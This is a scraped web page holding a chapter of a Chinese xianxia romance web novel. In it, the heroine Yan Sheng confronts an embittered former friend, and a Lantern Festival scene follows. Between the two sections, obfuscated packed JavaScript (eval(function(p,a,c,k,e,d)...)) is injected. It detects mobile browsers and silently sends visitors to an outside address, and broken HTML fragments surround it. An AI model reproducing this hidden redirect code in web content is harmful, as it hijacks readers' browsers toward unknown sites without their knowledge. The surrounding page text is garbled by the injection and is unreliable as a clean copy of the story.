34. 霓裳曲(一)
作品:《和被灭天道成了模范情侣》 季福来又向两人互相介绍了身份,邀两人入座后,便离开了房间。
颜笙百思不得其解。沈华裳是她前世的友人,压根不是那位赫赫有名的沈贵妃——她冒名那位女子,又有何必要?
她脑海中回忆起前世为人的经历。
颜笙之父是恒州刺史,沈华裳之父则为刺史属官。两家女儿年纪相仿,自小一同玩耍,也一同读书学习。
后来,沈华裳嫁给了八皇子高町。可惜婚后五年便早逝。其后,高町趁战乱逼先皇退位,登基为帝,终身未再娶。
眼前的沈华裳笑容虚伪,声音略带刻薄:“颜笙上神今日光临寒舍,小民倒是有失远迎。不过你我算是老相识,想必不会与小民一般见识吧?”
颜笙讶然问道:“你是羽之,还是沈贵妃?”
她与沈贵妃素未谋面,只认识沈华裳一个人。但眼前沈华裳的神情倨傲,实在难以与记忆中那温婉的好友对应。
沈华裳听到颜笙的声音,嘴角微微向下,心底不平。想到两人分别后各自的际遇,心头更觉酸涩,便冷声道:“你是来奚落我的么?”
颜笙未解其意,仍微笑道:“若你真是沈贵妃,我还来不及感谢你。”
沈贵妃昔日常遣人至鹤冲县购置鲜果,不止荔枝。这无疑是变相帮衬她的生活,也让道观收入颇丰。待颜笙飞升后,她的果园声名大噪,慕名而来的仙人络绎不绝,皆因她曾有皇商之誉。
这份感激,颜笙是真心的。
然而沈华裳听去,却只觉讽刺,冷笑道:“感谢我偷走你的亲事,让你顺利拜入修门,最后嫁给天道?”
颜笙幼时额头饱满、地阁丰腴,术士断言她有“凤唳九逵”之相,一生三次婚运。前两次缘浅易错,第三次最盛,却在五百年之后。
沈华裳则被断为“双颊削薄、无福无禄”,原属僧道之相。然她被天道另授使命,若能顺利完成,便可位列仙班。
只是,这使命艰难非常,如同玄鸟末代皇妃莲江仙,虽助奉天取得天命,但引得人间生灵涂炭,在登仙前一夕功亏一篑。
当时两家谁都未信这预言——毕竟谁会信“五百年后再婚”的说法?
八皇子高町之母为继后。宫中原皇后早亡,仅留一嫡子,因此高町是嫡次子。继后听闻恒州藏凤县有一女命带“皇后之相”,便以寿宴为名邀请颜笙赴永安。
永安城是混沌界最繁华之地,乃每个青年男女心中的圣境。沈华裳央求颜笙同行,颜笙遂应允。
继后对颜笙极为满意,言谈甚是亲厚,甚至允诺让高町迎她为正妃,还特意取走她的生辰八字,言称要合婚,并许诺会向皇帝请一道赐婚圣旨。
岂料宴后十日,颜笙也没得到赐婚旨意。而八皇子赐婚的旨意落到同日赴宴的沈华裳身上。
此变故一出,众说纷纭。主流说法是,虽然宴会当日继后中意颜笙,但拿她的八字合婚后发现她命格太硬,克夫克父克母,这才换亲成了沈华裳。
颜笙因此事名声受损,门前求亲者不再像往日那般络绎不绝,媒人看见她都像避瘟神似的。但其实颜太守也察觉到盛世将衰,借着此事将颜笙送至鹤冲县道观避世。
果然不久后战乱骤起。
颜笙的家人尽被贼人掳走,她父亲不肯屈服,仍痛骂逆贼,被割断舌头,后被残忍虐杀,家中其他家眷也被肢解烹食。
昏庸天子听信谗言,不予褒赠,反将幸存的族人囚入大牢。
颜笙悲痛欲绝,门派又遭灭,本就容易被激怒。恰好她又回忆起自己前世的死,便把这些恨意叠加到对陆归年的恨上,遂上鹤冲山寻仇。
在去过玄鸟国之后,她想起这些往事才终于释怀。她第一世的父亲子幽虐杀了陆贺年、陆归年的亲人,上一世她亲人惨死,不过是旧事重演罢了。
颜笙感叹:“事事有因果。投胎第一世时罪孽太多,到后来的转世时全报应在我身上了。那些闲言碎语倒真应验了。我克六亲,如今一个家人不剩。”
“这样啊。你的意思我也是活该?”沈华裳语带火气,没等颜笙解释,她转而不含感情地笑道:“可能以前我总被你压着,所以老天也赐我机会,让我能压过你。”
颜笙依旧微笑,沈华裳过去与她说话的时候就阴阳怪气的,所以她压根不知昔日好友心里是恨她的,还与回忆起两人小时候的事,诚心夸道:“羽之从小比我聪颖,每次先生考教,我都排在你后面。”
沈华裳冷声:“别叫羽之这么亲密。过几天我便是神妃,你还得按天律唤我沈贵妃。”
“神妃?沈贵妃?”颜笙听着,心中一惊。
前几日听袁思邈与花影提起,神尊即将纳的新妃就住在来福村,飞升之期在即。原来这位神妃竟是沈华裳!
况且贵妃的位份在普通嫔妃之上,这也难怪前阵子身为普通嫔妃的花影闻此消息会如此失态。
花影昔年在百花宫为仙时,性情和顺单纯,后来入宫之后也变得阴险狡诈。颜笙不愿旧友入歧途,便劝道:“崔巍并非良人,后宫少说三万妃嫔,宫中并不和睦。”
沈华裳不屑:“我在意这些?只要能压你一头就够了。”
颜笙见她冥顽不灵,叹息道:“在桃源,名头是最虚的,还是自己有傍身的实力更重要!天道魂消千年,若不是我费尽心思提升他的存在感,恐怕这世间早无神记得天道,而谁又会因我是天道遗孀而畏惧我?”
其实陆归年走后,众神曾想抹去天道之名,改尊神尊为最高位。颜笙借礼官之职,每年雷打不动操办祭祀,以此维系天道地位。
万年后的今日,陆归年纵久未现,至今仍为三界最高位神。
沈华裳半晌沉默,随即不耐:“你今日来,是叙旧还是炫耀?又夹着满口的大道理,听得我耳朵都起茧了。”
颜笙柔声请求道:“我有一位人族小友,想请你帮忙。你放心,此事了后我便带他离开,不会耽搁你。若你无事,可否——”
“你哪只眼睛看见我没事?”沈华裳厉声打断,双眼无神,冷冷道:“出去。”话音刚落,她将颜笙推了出去。
颜笙站在门外,摇头叹息。
*</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074285|193324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
花朝节
今日的来福城灯火通明,如一座不夜城。陆析等人所住客栈正在重建,这段日子他与颜笙同住一处。
不同于画中世界,颜笙从未让陆析进过她的房间。唯有花朝节这日,她才邀请住在下层客房的陆析上楼小聚。
颜笙推开窗户,正对一盏碧绿纸灯。那灯停在窗外,既不上升,也不下沉。
圆胖橘幻化成猫,跳上陆析肩头,借力一跃,扑向灯笼。谁知灯笼被这一触,竟缓缓升空,穿过层层飞云,眼见着空中的星子触手可摘。
忽地炮仗声响起。一朵烟花窜得比灯笼还快,在天空中燃尽,又袭向绿灯笼。
千钧一发之际,凛冽的北风骤起,把绿灯笼吹得远远地。圆胖橘吓得紧紧抱着灯笼,他不敢放手,生怕一不留神就掉下去,摔个粉身碎骨。
灯笼没有逆风而行,更非漫无章法地闲游。它转弯去了季福来家附近的朱甍画楼,随后慢慢下降,停靠在沈华裳的窗前。
那扇窗子紧闭。按说今日正是热闹的日子,谁不想凑这个热闹。圆胖橘掏出仙及,而仙及一感知到自由气息,便冲出圆胖橘手心。
仙及身形玲珑,轻而易举地钻入窗户的缝隙。
滚滚雷鸣般的炮仗声响起,一朵硕大的烟花绽放。随之而来的,楼下响起震耳欲聋的欢呼声,淹没了楼内的响动。
忽然,那扇窗“砰”地一声敞开,仙及被气浪掀出。幸有圆胖橘在侧,及时将仙及抱入怀中。
一猫一蝉睁眼向窗户里面瞧,窗边站着一名红发女子,血色宽松长袍披在身上,面容狰狞,竟是一只厉鬼。
颜笙在客栈中见到仙及传回的画面,脸色骤变。
她与陆析赶到现场时,楼下已人山人海。颜笙抬头望见远处屋檐尚在,估摸着沈华裳还未飞升,不由松了一口气。
两人挤入人群,四周皆是游客。颜笙此番下凡为避免上次鹿不沾的尴尬重演,便用了自己过去飞升前所使用的实体,而凡躯五感俱全。
人潮将她与陆析紧紧挤在一处,几乎无隙。
寒夜的空气,竟透着一丝热意。
陆析怕她被挤伤,侧身将她护在怀中,用身体替她挡住推搡。颜笙后背贴着他冰凉却坚实的胸膛,感到他轻轻的呼吸拂过发梢,弄得她痒痒的。
颜笙的耳根子刷地一下泛红,尤其是她现在说不清楚陆析和陆归年之间的关系,总有一种在鹤冲派时的感觉重演。
若说他们两人百年的相处里,颜笙对陆归年没动心,那是不可能的。只是活着的意念远盖过其他冲动。
陆析身上散发的清新薄荷香掩去了人群的汗气,颜笙不知怎的,脑海中不合时宜地想起陆归年倒在血泊的场景。
颜笙微微晃晃脑袋,又出现了“张脆枣”的那双凤目,突然一把推开陆析。
陆析的注意力始终放在前方,没察觉到颜笙的情绪异样,待被推开方知逾矩。这会儿他觉察自己逾矩,赶忙道:“抱歉。”
颜笙心虚地嗯了一声,抬头看向前方,方才意识到他们已到了门口。

